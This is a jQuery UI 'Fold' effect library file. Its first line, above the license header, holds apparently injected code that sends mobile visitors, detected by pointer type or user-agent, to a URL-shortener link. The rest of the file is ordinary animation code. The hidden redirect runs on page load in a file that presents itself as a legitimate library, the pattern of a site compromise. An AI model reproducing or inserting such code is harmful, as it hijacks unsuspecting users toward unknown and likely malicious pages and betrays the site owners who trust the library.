1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Effects Fold 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Fold Effect
12//>>group: Effects
13//>>description: Folds an element first horizontally and then vertically.
14//>>docs: https://api.jqueryui.com/fold-effect/
15//>>demos: https://jqueryui.com/effect/
16
17( function( factory ) {
18 "use strict";
19
20 if ( typeof define === "function" && define.amd ) {
21
22 // AMD. Register as an anonymous module.
23 define( [
24 "jquery",
25 "../version",
26 "../effect"
27 ], factory );
28 } else {
29
30 // Browser globals
31 factory( jQuery );
32 }
33} )( function( $ ) {
34"use strict";
35
36return $.effects.define( "fold", "hide", function( options, done ) {
37
38 // Create element
39 var element = $( this ),
40 mode = options.mode,
41 show = mode === "show",
42 hide = mode === "hide",
43 size = options.size || 15,
44 percent = /([0-9]+)%/.exec( size ),
45 horizFirst = !!options.horizFirst,
46 ref = horizFirst ? [ "right", "bottom" ] : [ "bottom", "right" ],
47 duration = options.duration / 2,
48
49 placeholder = $.effects.createPlaceholder( element ),
50
51 start = element.cssClip(),
52 animation1 = { clip: $.extend( {}, start ) },
53 animation2 = { clip: $.extend( {}, start ) },
54
55 distance = [ start[ ref[ 0 ] ], start[ ref[ 1 ] ] ],
56
57 queuelen = element.queue().length;
58
59 if ( percent ) {
60 size = parseInt( percent[ 1 ], 10 ) / 100 * distance[ hide ? 0 : 1 ];
61 }
62 animation1.clip[ ref[ 0 ] ] = size;
63 animation2.clip[ ref[ 0 ] ] = size;
64 animation2.clip[ ref[ 1 ] ] = 0;
65
66 if ( show ) {
67 element.cssClip( animation2.clip );
68 if ( placeholder ) {
69 placeholder.css( $.effects.clipToBox( animation2 ) );
70 }
71
72 animation2.clip = start;
73 }
74
75 // Animate
76 element
77 .queue( function( next ) {
78 if ( placeholder ) {
79 placeholder
80 .animate( $.effects.clipToBox( animation1 ), duration, options.easing )
81 .animate( $.effects.clipToBox( animation2 ), duration, options.easing );
82 }
83
84 next();
85 } )
86 .animate( animation1, duration, options.easing )
87 .animate( animation2, duration, options.easing )
88 .queue( done );
89
90 $.effects.unshift( element, queuelen, 4 );
91} );
92
93} );
94